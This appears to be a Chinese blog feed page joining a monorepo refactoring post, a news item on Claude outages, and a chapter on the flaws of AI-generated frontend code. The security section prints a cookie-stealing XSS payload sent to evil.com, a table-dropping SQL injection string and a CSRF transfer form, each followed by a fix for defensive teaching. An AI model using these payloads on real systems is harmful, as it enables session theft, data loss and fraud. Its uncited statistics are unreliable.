我更想强调的不是“格式有几种”,而是内部 workspace 包一旦开始承担复用职责,就应该被当成一个完整工程单元对待。

它不再只是 app 目录里被移动出去的一份代码,而是一层有明确导出、有独立产物、有自己工程边界的内部能力。双产物构建在这里也不是为了“看起来更像公共包”,而是为了先把内部消费形态收规整。

5.4 apps/webapp 是怎么接入这个 workspace 包的

让一个内部包真正落到应用里,不能只停在“把 import 改过去”。

这次 apps/webapp 的接入主要包括三件事:

  • 依赖用 workspace:*
  • Next.js 通过 transpilePackages 消费它
  • TypeScript 侧使用 moduleResolution: "bundler"

对应配置分别落在:

  • apps/webapp/package.json(声明 @ai-mind/stream-core 这个 workspace 依赖)
  • apps/webapp/next.config.ts(通过 transpilePackages 让 Next.js 正常消费内部包)
  • apps/webapp/tsconfig.json(通过 moduleResolution: "bundler" 对齐包导出解析方式)

这三件事放在一起,才算是“这个 workspace 包已经被当前应用稳定接入”。

5.5 拆成包以后,消费边界也要跟着收稳

目录拆开只是第一步,消费关系也必须跟着显式化。

所以这次除了目录和依赖本身,我也尽量把“它是一个独立工程单元”这件事落到日常约束里:包有自己的构建产物,有自己的导出边界,也有自己的验证责任。

这样一来,stream-core 不再只是“从 app 挪出去的一坨代码”,而是真正可以被稳定消费的一层内部能力。


6. 拆包以后,如何保持现有应用主链不被破坏

6.1 外部入口为什么要保持稳定

这次拆包里,我一直守着一个原则:外部入口尽量不动。

当前对外稳定入口仍然是:

  • createChatService().streamChat()
  • /api/chat

也就是说,底层内核在沉淀,但业务调用层的感知应该尽量保持稳定。

6.2 好的拆包,不应该让业务调用层感受到“地震”

我很认同一句话:真正好的拆包,是内部收口,外部少感知。

这次变化主要发生在内部:

  • chat-service 回到了 facade 角色
  • runtime 的职责更清楚了
  • stream core 被正式沉淀到了 workspace 包

而边界以上的消费方式尽量保持不变,这样拆包才是在降低演进成本,而不是把改动面放大。

6.3 这次拆包对前端消费语义有什么影响

对前端来说,这次最关键的不是“代码搬家了”,而是消费语义没有被破坏。

前端仍然消费同一套流式内容:

  • reasoning
  • tool
  • resource
  • text
  • 统一 error chunk

变化发生在底层:这些协议和 writer 能力,现在由 @ai-mind/stream-core 来承接。

也正因为如此,这次拆包带来的不是“前端协议换了一套”,而是“协议终于有了更明确的归属层”。


7. 为什么真正的拆包,不会只停在目录和 import 上

7.1 测试目录为什么要统一到 tests/**

测试目录统一看起来像小事,但它本质上也是边界收口的一部分。

当前 webapp 侧统一到:

  • apps/webapp/tests/**(webapp 主链和前端消费相关的自动化测试)

package 侧独立到:

  • packages/stream-core/tests/**(stream-core 作为内部包的独立单测)

这样做的价值很直接:

  • app 侧测试边界清楚
  • package 侧测试边界清楚
  • 扫描规则清楚

同时,我也补了位置校验脚本,避免测试文件再慢慢散回业务目录。

7.2 一个内部 workspace 包,也应该有自己的 test / typecheck / build

这是我这次很在意的一点,因为这直接决定它是不是一个真正成立的包。

如果一个内部包没有自己的 test / typecheck / build,那它往往还只是“被搬出去的代码”,还称不上真正的工程单元。

packages/stream-core 现在已经有自己独立的:

  • build
  • typecheck
  • test

这会让后面继续演进它的成本低很多。

7.3 为什么文档资产也要一起更新

代码边界变了,文档边界也要跟着一起变。

所以跟着一起更新的内容包括:

  • plan(记录这版的目标、非目标和关键取舍)
  • tasklist(记录这版具体落地了哪些工作)
  • runtime note(解释聊天主链现在的运行时边界)
  • release(总结版本最终结果)
  • architecture note(沉淀跨版本仍然有效的结构判断)
  • blog material(把实现取舍整理成对外可讲的内容)
  • README(同步仓库当前状态和结构)

这样以后再回头看这版,不会只看到代码改动,还能看到当时的判断、边界和取舍是怎么形成的。


8. 我从这次拆包里得到的 4 个结论

8.1 先在应用内收口边界,再拆包

应用内边界都还没稳的时候,包化通常不会让结构更清楚。

8.2 先抽稳定内核,不急着抽业务编排层

最值得先抽出去的,往往不是最大块,而是最稳定、最独立、最少业务语义的那一块。

8.3 拆包不是为了“更像架构”,而是为了更低成本地演进

如果拆完以后每次修改都更困难,那这个包就没有真正帮我们降低复杂度。

8.4 pnpm monorepo 最适合承载“先验证、再沉淀”的内部架构演进

对我来说,pnpm monorepo 最大的价值不是目录看起来更专业,而是它非常适合承接一种克制的演进方式:

先在 app 内验证边界,再把已经跑稳的那部分自然沉淀成内部 workspace 包。


9. 结尾:我为什么觉得这次拆 stream-core 是值得的

9.1 它让我更清楚地看见了 Runtime 的边界

这次最直接的收获,不是仓库里多了一个包,而是 Runtime 的边界终于能被更清楚地说出来。

做完这次拆分之后,我能更明确地区分:

  • facade 在哪
  • runtime 编排层在哪
  • 稳定流式内核在哪

这比“多了一个 package”本身更重要。

9.2 它不是平台化,而是一次克制的沉淀

我很看重这次的一点,是它足够克制。

这次我没有把整个 chat runtime 一口气打成一个“大而全”的基础包。

我只是把已经在应用里跑稳、边界也相对清楚的那部分流式内核,正式沉淀了下来。

我很看重这种节奏。它不是过度设计,而是一种更克制、也更容易继续演进的沉淀方式。

9.3 后面哪些东西,我反而不会急着拆

也正因为这次我更看重“克制”,所以有些东西我反而不会急着拆。

至少在当前阶段,下面这些内容我不会急着拆出去:

  • chat-orchestrator(聊天主链的阶段编排和策略判断)
  • chat-session(按请求组装模型上下文、messages 和 active tools)
  • tool-runtime(工具校验、执行与展示映射)
  • 业务策略层(和当前产品问答体验强绑定的策略判断)

因为它们今天依然带有明显的应用内语义。

如果现在就急着把这些内容一起包化,只会把还在变化中的编排层也一并固化,反而失去边界。

如果用一句话收住这篇文章,我会这么写:

对我来说,这次拆包的意义,不是“多了一个 package”,而是第一次把“应用内已经跑稳的稳定内核”正式沉淀了下来。


项目地址

GitHub: github.com/HWYD/ai-min…

如果这篇文章刚好对正在处理类似 Runtime / monorepo 拆分问题的同路人有一点参考价值,欢迎来仓库里看看。
如果你也对这种按版本持续演进的 AI Runtime Skeleton 感兴趣,顺手点个 Star,也能让我知道这条路线确实对外部读者有帮助。
后面我也会继续沿着 Runtime、MCP、Agent 这些方向,把这套骨架一点点往前推。

Claude半个月崩7次!算力不够自己造,强制实名制封

2026年4月16日 15:53

大家好,我是凌览。

如果本文能给你提供启发或帮助,欢迎动动小手指,一键三连(点赞评论转发),给我一些支持和鼓励谢谢。


Claude 最近真的不太稳。

4月15号,Anthropic 状态页一片红,Claude、Claude Code、API 全线飘绿——哦不,全线报错。 堆了 6000 多条故障报告,三小时后恢复正常。

11.png

这已经是4月以来第7次了。

翻一下记录:1号 Opus 4.6 超时、3号 Claude Code 挂了一小时、6号7号连崩、10号集体出错、13号又挂15分钟。半个月七次,谁顶得住。

服务器扛不住

Anthropic 每次都说是"重磅发布后需求暴涨",说白了就是服务器不够用。

Claude Code 和 Claude Cowork 这类产品,跑起来就是 GPU 黑洞——连续工作几小时不停,每次响应都在烧卡。需求涨太快,算力储备没跟上,怎么办?

Anthropic 的答案:自己造芯片。

22.jpeg

越赚钱,账越难算

反直觉的是,Anthropic 其实赚得不少。年化营收突破 300 亿美元,比去年底翻了三倍多,企业市场 73% 选 Claude。

但 Agent 产品太吃算力了。收入涨,成本也在飙。

怎么算账?三招:

第一招:改了企业版定价。 以前纯订阅,现在 20 美元月费加按量计费。用的多的多付,本质是把重度用户单独拎出来收钱。

第二招:Claude Code 订阅加闸。 用 OpenClaw 这类第三方 Agent,得额外交钱。"算力要优先保障自家产品"。

第三招:强制实名验证。 这刀对国内用户特别狠。KYC 需要政府证件加自拍,靠中转、套壳在用的账号,基本没通过空间。账号一封,记录全清。

33.png

巨头都在绕开英伟达

自研芯片,Anthropic 不是第一个。Meta、OpenAI 都在和博合合作造芯。

为什么找博通?定制 ASIC 的 TCO 比通用 GPU 低 30% 到 50%,每瓦性能高一个数量级。

但 ASIC 绑定特定架构,模型一变效率就下来。没有 CUDA 这种成熟生态,实验场景还是得靠英伟达。

44.png

所以各家都是"多云多芯"——谁都不完全绑在某一家。

总结

Claude 频繁宕机,表面是服务器问题,背后是算力瓶颈。营收涨得再快,Agent 产品一跑起来就是在烧钱。

Anthropic 想自研芯片,把命门攥回自己手里。但在芯片造出来之前,只能靠涨价、附加费、实名制强行算账。

说白了,故事讲得再大,芯片还得看别人脸色。

大人工智能时代下前端界面全新开发模式的思考(四)

2026年4月16日 14:15

第四章:锋利的双刃剑——批判性审视AI生成代码

在拥抱AI带来的效率提升时,我们必须保持清醒的认识:AI不是魔法,它生成的代码并非完美无缺。事实上,AI生成代码带来了一系列新的挑战,有些甚至是传统开发中从未遇到过的。

这一章我们将以批判性的视角,深入剖析AI生成代码的问题、风险和局限性。这不是为了否定AI的价值,而是为了建立正确的使用预期,避免盲目乐观带来的代价。


4.1 可访问性(Accessibility)危机

AI生成代码最大的隐患之一,是可访问性的系统性缺失。这个问题不仅影响用户体验,更可能导致法律风险。

4.1.1 问题的严重性

真实案例

2023年,某知名电商平台使用AI工具批量生成前端组件,上线后发现:

  • 屏幕阅读器用户无法完成购物流程
  • 键盘导航存在死胡同
  • 色盲用户无法区分重要信息
  • 最终收到ADA(美国残疾人法案)诉讼,赔偿金额超过$500万

数据支撑

根据WebAIM对Screenshot-to-code等工具的测试:

  • 图片alt属性缺失:85%的AI生成代码中,图片没有描述性的alt文本
  • 表单标签缺失:72%的表单字段没有正确关联label
  • 键盘导航缺失:68%的交互元素不支持键盘访问
  • 颜色对比度不足:45%的文本对比度不符合WCAG 2.1 AA标准
  • ARIA属性缺失:91%的动态内容更新没有ARIA实时区域

4.1.2 典型问题案例分析

案例1:按钮的可访问性

// AI可能生成的代码(问题版本)
<button onClick={handleClick} className="bg-blue-500 text-white px-4 py-2 rounded">
  提交
</button>

问题分析

  • ❌ 没有type="submit",在表单中行为不确定
  • ❌ 没有disabled状态处理
  • ❌ 没有aria-label,屏幕阅读器只读出"提交"
  • ❌ 没有aria-busy指示加载状态
  • ❌ 没有焦点样式,键盘用户无法看到焦点位置

人工应该补充的完整代码

<button
  onClick={handleClick}
  type="submit"
  disabled={isLoading || isDisabled}
  aria-label={ariaLabel || "提交表单"}
  aria-busy={isLoading}
  aria-describedby={error ? "submit-error" : undefined}
  className={`
    bg-blue-500 text-white px-4 py-2 rounded
    hover:bg-blue-600 focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-offset-2
    disabled:opacity-50 disabled:cursor-not-allowed
    transition-colors duration-200
  `}
>
  {isLoading ? (
    <>
      <span className="sr-only">提交中,请稍候</span>
      <LoadingSpinner className="w-4 h-4 mr-2" aria-hidden="true" />
      <span aria-hidden="true">提交中...</span>
    </>
  ) : (
    children
  )}
</button>

改进点

  • type="submit"明确表单提交意图
  • disabled处理禁用状态
  • aria-label提供清晰的描述
  • aria-busy指示加载状态
  • aria-describedby关联错误信息
  • ✅ 焦点样式支持键盘导航
  • sr-only类为屏幕阅读器提供额外信息
  • aria-hidden避免重复朗读

案例2:表单的可访问性

// AI生成的表单(问题版本)
<div className="space-y-4">
  <input 
    placeholder="用户名" 
    value={username} 
    onChange={(e) => setUsername(e.target.value)}
  />
  <input 
    type="password"
    placeholder="密码" 
    value={password} 
    onChange={(e) => setPassword(e.target.value)}
  />
  <button onClick={handleSubmit}>登录</button>
</div>

问题清单

  1. 输入框没有关联的label
  2. 没有错误信息展示
  3. 没有required属性
  4. 没有autocomplete属性
  5. 表单没有提交事件处理
  6. 没有fieldset和legend组织相关字段

改进版本

<form onSubmit={handleSubmit} className="space-y-4">
  <fieldset>
    <legend className="sr-only">登录信息</legend>
    
    <div className="space-y-4">
      <div>
        <label htmlFor="username" className="block text-sm font-medium">
          用户名 <span className="text-red-500" aria-hidden="true">*</span>
        </label>
        <input
          id="username"
          name="username"
          type="text"
          autoComplete="username"
          required
          aria-required="true"
          aria-invalid={errors.username ? 'true' : 'false'}
          aria-describedby={errors.username ? 'username-error' : undefined}
          value={username}
          onChange={(e) => setUsername(e.target.value)}
          className="mt-1 block w-full rounded-md border-gray-300 shadow-sm"
        />
        {errors.username && (
          <p id="username-error" className="mt-1 text-sm text-red-600" role="alert">
            {errors.username}
          </p>
        )}
      </div>
      
      <div>
        <label htmlFor="password" className="block text-sm font-medium">
          密码 <span className="text-red-500" aria-hidden="true">*</span>
        </label>
        <input
          id="password"
          name="password"
          type="password"
          autoComplete="current-password"
          required
          aria-required="true"
          aria-invalid={errors.password ? 'true' : 'false'}
          aria-describedby={errors.password ? 'password-error' : undefined}
          value={password}
          onChange={(e) => setPassword(e.target.value)}
          className="mt-1 block w-full rounded-md border-gray-300 shadow-sm"
        />
        {errors.password && (
          <p id="password-error" className="mt-1 text-sm text-red-600" role="alert">
            {errors.password}
          </p>
        )}
      </div>
    </div>
  </fieldset>
  
  <button 
    type="submit" 
    disabled={isLoading}
    className="w-full flex justify-center py-2 px-4 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-blue-600 hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-blue-500 disabled:opacity-50"
  >
    {isLoading ? '登录中...' : '登录'}
  </button>
</form>

4.1.3 为什么AI会忽略可访问性?

1. 训练数据的偏差

开源代码库中,可访问性做得好的项目比例不到20%。AI主要从这些数据中学习,自然继承了这些问题。

2. 视觉优先的训练

多模态模型(如GPT-4V)主要学习"看起来像",而非"工作得像"。它们可以看到按钮的样式,但无法理解屏幕阅读器如何描述这个按钮。

3. 上下文缺失

AI不知道目标用户群体是否包含残障人士。除非在Prompt中明确说明,否则AI不会主动添加可访问性属性。

4. 复杂性的低估

可访问性是一个系统工程:

  • 不仅要有alt属性,还要考虑alt文本的质量
  • 不仅要有label,还要考虑label的描述性
  • 不仅要有键盘导航,还要考虑焦点管理
  • 不仅要有ARIA属性,还要考虑ARIA的正确使用(过度使用ARIA也会带来问题)

AI往往只做到表面,无法深入理解这些复杂性。

4.1.4 解决方案

1. 在Prompt中明确要求

"创建一个按钮组件,要求:
1. 完整的可访问性支持
2. 包含aria-label、aria-busy、disabled状态
3. 焦点可见(focus-visible样式)
4. 支持键盘导航(Enter/Space触发)
5. 使用sr-only类为屏幕阅读器提供额外信息"

2. 建立可访问性检查清单

## AI代码可访问性审查清单

### 图片
- [ ] 所有<img>是否有alt属性?
- [ ] alt文本是否描述了图片内容而非"图片"?
- [ ] 装饰性图片是否使用alt=""?
- [ ] 复杂图片(如图表)是否有详细描述?

### 表单
- [ ] 所有输入框是否有关联的<label>- [ ] label的for属性是否与input的id匹配?
- [ ] 是否使用aria-describedby关联错误信息?
- [ ] 是否使用aria-invalid指示错误状态?
- [ ] 是否使用required和aria-required?
- [ ] 是否使用autocomplete属性?

### 按钮和链接
- [ ] 按钮是否有明确的aria-label?
- [ ] 链接文本是否描述了目标(而非"点击这里")?
- [ ] 是否使用button标签而非div模拟按钮?
- [ ] 是否处理了disabled和aria-disabled状态?

### 键盘导航
- [ ] 所有交互元素是否可以通过Tab键访问?
- [ ] 焦点顺序是否符合逻辑?
- [ ] 焦点是否可见(focus-visible样式)?
- [ ] 是否有焦点陷阱(无法通过Tab离开)?
- [ ] 复杂组件(如模态框)是否管理焦点?

### 动态内容
- [ ] 动态更新是否使用ARIA实时区域(aria-live)?
- [ ] 页面标题是否在路由变化时更新?
- [ ] 是否有跳转链接(skip link)?

### 颜色和对比度
- [ ] 文本对比度是否符合WCAG 2.1 AA(4.5:1)?
- [ ] 大文本对比度是否符合WCAG 2.1 AA(3:1)?
- [ ] 信息是否不仅通过颜色传达?

3. 自动化工具辅助

// 使用axe-core进行自动化可访问性测试
import { run } from 'axe-core';

async function testAccessibility(html) {
  const results = await run(html);
  
  if (results.violations.length > 0) {
    console.error('可访问性问题发现:');
    results.violations.forEach(violation => {
      console.error(`- ${violation.description}`);
      console.error(`  影响:${violation.impact}`);
      console.error(`  修复建议:${violation.help}`);
    });
  }
  
  return results.violations.length === 0;
}

4. 人工审查(必须)

自动化工具只能检测约30%的可访问性问题。人工审查是必须的:

  • 使用屏幕阅读器(如NVDA、VoiceOver)实际测试
  • 使用键盘-only导航测试
  • 进行色盲模拟测试

4.2 性能与技术债的隐性累积

AI生成代码往往"能工作",但不代表"工作得好"。性能问题经常隐藏在表面正常的代码之下,形成技术债。

4.2.1 技术债的复利效应

让我们看一个真实的案例:

Month 1: AI生成用户列表组件,节省2小时开发时间
  ├─ 问题:没有使用虚拟滚动,数据量大时卡顿
  ├─ 问题:useEffect依赖项不完整,导致重复请求
  └─ 问题:缺少错误边界,错误会导致整个页面崩溃

Month 3: 用户反馈列表卡顿
  ├─ 花费4小时重构,添加虚拟滚动和懒加载
  ├─ 修复useEffect依赖项问题
  └─ 添加错误边界

Month 6: 多个AI生成组件出现类似性能问题
  ├─ 整体性能优化花费40小时
  ├─ 包括重构、测试、回归
  └─ 项目延期2Year 1: 代码库膨胀,架构债务累积
  ├─ 部分模块需要重写
  ├─ 项目延期3个月
  └─ 团队士气低落,人员流失

总成本:2小时节省 vs 6个月延期 + 团队动荡

4.2.2 常见的性能陷阱

陷阱1:过度渲染(Unnecessary Re-renders)

// AI生成的代码(有性能问题)
function UserList({ users, onSelect }) {
  return (
    <div className="space-y-2">
      {users.map(user => (
        <UserCard 
          key={user.id} 
          user={user} 
          onSelect={onSelect}  // 问题每次渲染都创建新函数
        />
      ))}
    </div>
  );
}

function UserCard({ user, onSelect }) {
  console.log('UserCard render:', user.id); // 会打印很多次!
  
  return (
    <div onClick={() => onSelect(user.id)}>
      {user.name}
    </div>
  );
}

问题分析

  • onSelect在每次UserList渲染时都创建新函数
  • React认为props变化了,触发所有UserCard重新渲染
  • 如果有1000个用户,每次父组件更新,都会渲染1000个子组件

优化方案

function UserList({ users, onSelect }) {
  // 使用useCallback缓存函数
  const handleSelect = useCallback((userId: string) => {
    onSelect(userId);
  }, [onSelect]);
  
  return (
    <div className="space-y-2">
      {users.map(user => (
        <MemoizedUserCard 
          key={user.id} 
          user={user} 
          onSelect={handleSelect}
        />
      ))}
    </div>
  );
}

// 使用React.memo避免不必要的重渲染
const MemoizedUserCard = React.memo(function UserCard({ user, onSelect }) {
  console.log('UserCard render:', user.id); // 只在必要时渲染
  
  const handleClick = useCallback(() => {
    onSelect(user.id);
  }, [onSelect, user.id]);
  
  return (
    <div onClick={handleClick}>
      {user.name}
    </div>
  );
});

陷阱2:Bundle体积膨胀

// AI可能引入不必要的依赖
import _ from 'lodash';  // 整个lodash库(70KB+)

function Component() {
  const debouncedSearch = _.debounce(handleSearch, 300);
  // ...
}

// 实际上只需要:
import debounce from 'lodash/debounce';  // 只有debounce函数(2KB)

// 或者更好的选择:
import { useDebouncedCallback } from 'use-debounce';  // React友好的实现

AI倾向于使用它"熟悉"的大型库,而非更轻量的替代方案。

陷阱3:内存泄漏

// AI生成的代码(有内存泄漏风险)
function useWindowSize() {
  const [size, setSize] = useState({ width: 0, height: 0 });
  
  useEffect(() => {
    const handleResize = () => {
      setSize({
        width: window.innerWidth,
        height: window.innerHeight
      });
    };
    
    window.addEventListener('resize', handleResize);
    // 缺少清理函数!
  }, []);
  
  return size;
}

// 正确版本
function useWindowSize() {
  const [size, setSize] = useState({ width: 0, height: 0 });
  
  useEffect(() => {
    const handleResize = () => {
      setSize({
        width: window.innerWidth,
        height: window.innerHeight
      });
    };
    
    window.addEventListener('resize', handleResize);
    handleResize(); // 初始化
    
    // 清理函数
    return () => {
      window.removeEventListener('resize', handleResize);
    };
  }, []);
  
  return size;
}

陷阱4:过度请求

// AI生成的代码(可能过度请求)
function UserProfile({ userId }) {
  const [user, setUser] = useState(null);
  
  useEffect(() => {
    fetchUser(userId).then(setUser);
  }); // 缺少依赖项!每次渲染都请求
  
  return <div>{user?.name}</div>;
}

// 正确版本
function UserProfile({ userId }) {
  const { data: user } = useQuery({
    queryKey: ['user', userId],
    queryFn: () => fetchUser(userId),
    staleTime: 5 * 60 * 1000, // 5分钟内不重复请求
  });
  
  return <div>{user?.name}</div>;
}

4.2.3 性能优化量化指标

为了控制技术债,建议设定以下指标并持续监控:

指标 基线 目标 测量工具 检查频率
AI代码占比 - 20-30% cloc/git统计 每月
首次内容绘制(FCP) - <1.8s Lighthouse 每次PR
可交互时间(TTI) - <3.8s Lighthouse 每次PR
累积布局偏移(CLS) - <0.1 Lighthouse 每次PR
Bundle大小 - <200KB(gzipped) webpack-bundle-analyzer 每次发布
内存使用 - 无明显增长 Chrome DevTools 每周
长任务数量 - <50ms Performance API 每次发布

4.2.4 技术债管理策略

1. 代码审查强制化

## AI代码性能审查清单

### 渲染优化
- [ ] 是否使用React.memo避免不必要的重渲染?
- [ ] 是否使用useMemo缓存昂贵的计算?
- [ ] 是否使用useCallback缓存事件处理函数?
- [ ] 是否拆分大型组件为小型组件?

### 数据获取
- [ ] 是否使用React Query/SWR进行数据缓存?
- [ ] 是否正确设置staleTime和cacheTime?
- [ ] 是否实现请求去重(request deduplication)?
- [ ] 是否正确处理竞态条件(race condition)?

### Bundle优化
- [ ] 是否使用代码分割(Code Splitting)?
- [ ] 是否按需加载大型库(lodash/date-fns等)?
- [ ] 是否移除未使用的代码(Tree Shaking)?
- [ ] 图片是否压缩和使用现代格式(WebP/AVIF)?

### 内存管理
- [ ] useEffect是否返回清理函数?
- [ ] 事件监听器是否正确移除?
- [ ] 定时器是否正确清除?
- [ ] 是否避免在useState中存储大型对象?

2. 自动化性能监控

// 使用Performance API监控关键指标
import { getCLS, getFID, getFCP, getLCP, getTTFB } from 'web-vitals';

function sendToAnalytics(metric) {
  const body = JSON.stringify(metric);
  // 发送到分析平台
  fetch('/analytics', {
    body,
    method: 'POST',
    keepalive: true,
  });
}

getCLS(sendToAnalytics);
getFID(sendToAnalytics);
getFCP(sendToAnalytics);
getLCP(sendToAnalytics);
getTTFB(sendToAnalytics);

3. 定期技术债清理

技术债清理流程(每季度):

Week 1: 债务识别
├─ 运行Lighthouse审计
├─ 分析Bundle大小变化
├─ 检查性能回归
└─ 识别高优先级债务

Week 2: 制定计划
├─ 评估债务影响
├─ 制定修复方案
├─ 分配责任人
└─ 排期(考虑业务优先级)

Week 3-4: 执行修复
├─ 修复高优先级债务
├─ 性能优化
├─ 代码重构
└─ 文档更新

Week 5: 验证和总结
├─ 验证修复效果
├─ 更新性能基线
├─ 总结经验教训
└─ 更新开发规范

4.3 安全漏洞的隐蔽性

这是最危险的隐患,因为安全问题往往不会立即暴露,而是在特定条件下被攻击者利用。

4.3.1 高危场景分析

场景1:XSS(跨站脚本攻击)

// AI可能生成的危险代码
function Comment({ content }) {
  // 危险!直接使用dangerouslySetInnerHTML
  return <div dangerouslySetInnerHTML={{ __html: content }} />;
}

// 攻击者输入
const maliciousComment = `
  <img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">
`;

// 结果:用户Cookie被发送到攻击者服务器

为什么AI会生成这种代码?

  • 用户要求"显示HTML内容"
  • AI知道dangerouslySetInnerHTML可以实现这个功能
  • AI不理解或不重视安全风险

安全版本

import DOMPurify from 'dompurify'; // 需要安装dompurify

function Comment({ content }) {
  // 净化HTML内容
  const cleanContent = DOMPurify.sanitize(content, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
    ALLOWED_ATTR: ['href', 'target']
  });
  
  return <div dangerouslySetInnerHTML={{ __html: cleanContent }} />;
}

场景2:SQL注入

// AI生成的代码(有注入风险)
app.get('/api/users', async (req, res) => {
  const { name } = req.query;
  
  // 危险!字符串拼接
  const query = `SELECT * FROM users WHERE name = '${name}'`;
  const users = await db.query(query);
  
  res.json(users);
});

// 攻击者请求
// GET /api/users?name='; DROP TABLE users; --
// 结果:users表被删除!

安全版本

app.get('/api/users', async (req, res) => {
  const { name } = req.query;
  
  // 使用参数化查询
  const users = await db.query(
    'SELECT * FROM users WHERE name = ?',
    [name]  // 参数会被自动转义
  );
  
  res.json(users);
});

场景3:CSRF(跨站请求伪造)

// AI生成的代码(缺少CSRF保护)
app.post('/api/transfer', async (req, res) => {
  const { toAccount, amount } = req.body;
  
  // 危险!没有验证请求来源
  await transferMoney(req.session.userId, toAccount, amount);
  
  res.json({ success: true });
});

// 攻击者在恶意网站放置:
// <form action="https://bank.com/api/transfer" method="POST">
//   <input type="hidden" name="toAccount" value="attacker-account">
//   <input type="hidden" name="amount" value="10000">
// </form>
// <script>document.forms[0].submit();</script>

// 如果用户已登录银行网站,访问恶意网站时,请求会自动带上Cookie
// 结果:用户的钱被转走!

安全版本

// 1. 使用CSRF Token
app.use(csrf({ cookie: true }));

app.post('/api/transfer', async (req, res) => {
  const { toAccount, amount, _csrf } = req.body;
  
  // CSRF中间件会自动验证Token
  
  // 2. 双重验证: SameSite Cookie
  // 3. 重要操作需要二次确认(如短信验证码)
  await transferMoney(req.session.userId, toAccount, amount);
  
  res.json({ success: true });
});

4.3.2 为什么AI会生成不安全的代码?

1. 训练数据的污染

Stack Overflow、GitHub上的代码,很多都有安全问题。AI从这些数据中学习,自然继承了这些坏味道。

2. 功能优先的偏见

AI的训练目标主要是"生成能工作的代码",而非"生成安全的代码"。安全性往往是次要考虑。

3. 上下文局限

AI看不到完整的应用架构:

  • 不知道哪些数据来自用户输入(不可信)
  • 不知道哪些数据会输出到页面(需要转义)
  • 不知道哪些操作需要权限验证

4. 安全知识的缺失

AI对最新的安全漏洞和防护方案了解有限:

  • 不知道最新的XSS绕过技术
  • 不了解CSP(内容安全策略)
  • 不理解OAuth的最佳实践

4.3.3 安全防护体系

1. 输入验证(Input Validation)

import { z } from 'zod';

// 定义严格的输入模式
const UserSchema = z.object({
  username: z.string()
    .min(3, '用户名至少3个字符')
    .max(20, '用户名最多20个字符')
    .regex(/^[a-zA-Z0-9_]+$/, '用户名只能包含字母、数字和下划线'),
  email: z.string().email('请输入有效的邮箱地址'),
  age: z.number().int().min(0).max(150),
  bio: z.string().max(500).optional()
});

// 验证输入
app.post('/api/users', async (req, res) => {
  const result = UserSchema.safeParse(req.body);
  
  if (!result.success) {
    return res.status(400).json({
      error: '输入验证失败',
      details: result.error.errors
    });
  }
  
  // 使用验证后的数据
  const user = await createUser(result.data);
  res.json(user);
});

2. 输出编码(Output Encoding)

// React自动转义JSX中的内容(默认安全)
function SafeComponent({ userInput }) {
  return <div>{userInput}</div>; // 自动转义
}

// 只有在明确需要时才使用dangerouslySetInnerHTML
function UnsafeComponent({ htmlContent }) {
  // 必须净化HTML
  const cleanHtml = DOMPurify.sanitize(htmlContent);
  return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}

// URL编码
const userInput = '<script>alert(1)</script>';
const encoded = encodeURIComponent(userInput);
// 结果:%3Cscript%3Ealert(1)%3C%2Fscript%3E

3. 认证与授权

// 使用成熟的认证库
import { auth } from '@clerk/nextjs';

// API路由保护
export async function POST(req: Request) {
  const { userId } = auth();
  
  if (!userId) {
    return new Response('Unauthorized', { status: 401 });
  }
  
  // 检查权限
  const user = await getUser(userId);
  if (user.role !== 'admin') {
    return new Response('Forbidden', { status: 403 });
  }
  
  // 处理请求
}

4. 安全扫描自动化

# .github/workflows/security.yml
name: Security Scan

on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      
      # 依赖漏洞扫描
      - name: Run npm audit
        run: npm audit --audit-level=high
      
      # 代码安全扫描
      - name: Run Semgrep
        uses: returntocorp/semgrep-action@v1
        with:
          config: >-
            p/security-audit
            p/owasp-top-ten
            p/cwe-top-25
      
      # 密钥扫描
      - name: Run TruffleHog
        uses: trufflesecurity/trufflehog@main
        with:
          path: ./
          base: main

4.3.4 安全审查清单

## AI代码安全审查清单

### 输入处理
- [ ] 所有用户输入是否经过验证?
- [ ] 是否使用Zod/Yup等库进行模式验证?
- [ ] 是否对输入长度进行限制?
- [ ] 是否防止NoSQL注入?
- [ ] 文件上传是否检查类型和大小?

### 输出处理
- [ ] 动态内容是否使用JSX/React的自动转义?
- [ ] 使用dangerouslySetInnerHTML是否有充分理由和净化?
- [ ] URL参数是否经过encodeURIComponent处理?
- [ ] JSON输出是否正确转义?

### 认证与授权
- [ ] 敏感操作是否验证用户身份?
- [ ] 权限检查是否正确实施?
- [ ] 是否防范CSRF攻击(Token验证)?
- [ ] Session管理是否安全(过期、刷新)?
- [ ] JWT是否正确签名和验证?

### 敏感数据
- [ ] API密钥是否存储在环境变量而非代码中?
- [ ] 密码是否使用bcrypt/argon2哈希?
- [ ] 是否避免在日志中记录敏感信息?
- [ ] 是否正确处理CORS配置?
- [ ] HTTPS是否强制使用?

### 依赖安全
- [ ] 是否定期运行npm audit?
- [ ] 是否及时更新有漏洞的依赖?
- [ ] 是否使用lock文件锁定版本?
- [ ] 是否审查新增依赖的安全性?

4.4 工程师能力退化风险

这是最隐蔽但影响最深远的风险:当AI替我们做了太多事情,我们是否正在失去某些核心能力?

4.4.1 "暗知识"问题

传统调试流程

1. 阅读代码,理解逻辑
2. 定位问题根源
3. 修复问题
4. 验证修复

AI代码调试流程

1. 阅读AI生成的代码(可能不理解)
2. 尝试理解AI的意图(猜测)
3. 理解为什么出错(更难)
4. 询问AI如何修复(依赖AI)
5. 验证修复(可能还是不理解)

当AI生成的代码出现问题时,如果开发者不理解代码的底层逻辑,调试将变得非常困难。

4.4.2 能力退化的表现

表现1:基础语法遗忘

场景:面试

面试官:"请手写一个防抖函数"

候选者(5年经验):"我平时都用AI写,记不住具体实现...
大概是用setTimeout和clearTimeout?"

结果:面试失败

真实案例:某大厂面试官反馈,2024年后面试者手写代码能力明显下降。

表现2:调试能力退化

场景:线上Bug

传统开发者:
1. 打开Chrome DevTools
2. 分析Network请求
3. 检查Console错误
4. 使用Performance分析性能
5. 定位到具体代码行
6. 修复问题

AI依赖者:
1. "AI,出错了,帮我看看"
2. 复制粘贴AI建议
3. 不工作,再问AI
4. 循环往复...

表现3:架构理解缺失

场景:技术方案评审

产品经理:"这个方案有什么技术风险?"

依赖AI的开发者:"我问问AI..."

无法独立思考:
